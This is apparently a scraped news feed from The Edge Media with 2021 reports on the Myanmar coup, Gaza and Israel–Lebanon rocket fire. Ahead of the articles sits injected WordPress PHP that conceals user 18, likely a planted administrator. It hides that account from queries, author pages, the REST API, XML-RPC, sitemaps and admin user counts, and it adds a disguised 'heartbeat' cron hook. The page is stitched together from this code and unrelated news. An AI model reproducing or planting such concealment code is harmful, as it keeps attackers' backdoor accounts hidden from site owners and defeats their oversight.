add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post US’ Antony Blinken has deep concerns over the military coup in Myanmar, calls southeast asian nations to take action. appeared first on The Edge Media.
]]>The Association of the Southeast Nations (ASEAN) has been leading the main diplomatic effort on member country Myanmar since a feb 1 coup plunged it into turmoil.
Myanmar has descended into chaos after the coup, with hundreds of protesters killed by security forces and thousands jailed amid paralysing strikes and spreading conflict in border regions.
During a video call conference with ASEAN foreign ministers on wednesday, Blinken urged ASEAN to take “immediate action” on a five-point consensus, agreed upon in April.
The post US’ Antony Blinken has deep concerns over the military coup in Myanmar, calls southeast asian nations to take action. appeared first on The Edge Media.
]]>The post Life resumes in Gaza after several days of violence and destruction. appeared first on The Edge Media.
]]>The Gaza strip is now focussing on rebuilding the territory a day after the hold of the airstrike. Rescue workers are searching for the bodies or the survivors after the “war”. Dozens of city fishermen are preparing nets before moving toward the sea, on Gaza ports.
One of the fishermen, Rami Abu Amira said,”We need to eat. We, fishermen, are scared the Israeli navy will shoot at us. It’s up to everyone to decide whether to go or not”.
The attack on Gaza killed 248 people including 66 children, and 1,900 wounded since May 10. The United Nation says that half of the people killed, are civilians.
The post Life resumes in Gaza after several days of violence and destruction. appeared first on The Edge Media.
]]>The post Israel and Lebanon engage in cross border Rocket launches appeared first on The Edge Media.
]]>In response to this, the Israeli Defence Forces artillery forces have striked a number of targets in Lebanon. The Israeli military also confirmed that they had intercepted one of the rockets while the rest most likely fell in open areas. There were no immediate reports of casualties or damage on either sides of the border.
Israeli military spokesperson, Hidai Zilberman said on Tuesday that the Israeli Military believed a small Palestinian faction was responsible for the attack. They also told that the Hezbollah terrorist group which has influence in Southern Lebanon and across to advanced rockets is not responsible.
4 rockets were just fired from Lebanon at northern Israel, 1 of which was intercepted by the Iron Dome.
In response, IDF artillery forces are striking a number of targets in Lebanon.
We are prepared for any scenario on any front.
— Israel Defense Forces (@IDF) May 19, 2021
The post Israel and Lebanon engage in cross border Rocket launches appeared first on The Edge Media.
]]>